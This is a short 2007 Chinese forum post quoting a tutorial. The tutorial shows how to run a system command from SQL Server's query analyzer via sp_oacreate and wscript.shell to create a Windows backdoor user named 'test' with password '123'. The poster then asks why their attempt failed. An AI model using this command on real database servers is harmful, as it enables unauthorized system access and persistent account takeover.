
- 帖子
- 8
- 积分
- 12
- 威望
- 15
- 金钱
- 15
- 在线时间
- 0 小时
|
[quote]引用第5楼control于2007-01-15 22:37发表的:
好了。我们再在sql查询分离器中输入命令
declare @shell int exec sp_oacreate "wscript.shell",@shell output exec sp_oamethod @shell,"run",null,"c:\winnt\system32\cmd.exe /c net user test 123 /add"
这个命令就是创建一个用户名为test,密码为123的用户,
输入后按F5
我们看到回显有个这个表格样的东东,0。这样的。
这就表示成功了。如果回显“命令成功完成”,反而是没有成功~
quote]
我的确实回显“命令成功完成”,那怎么才能执行成功呢?
帖子15 精华2 积分60 阅读权限40 在线时间21 小时 注册时间2006-4-17 最后登录2008-7-20 查看详细资料TOP
h47788568 
晶莹剔透§烈日灼然 |
|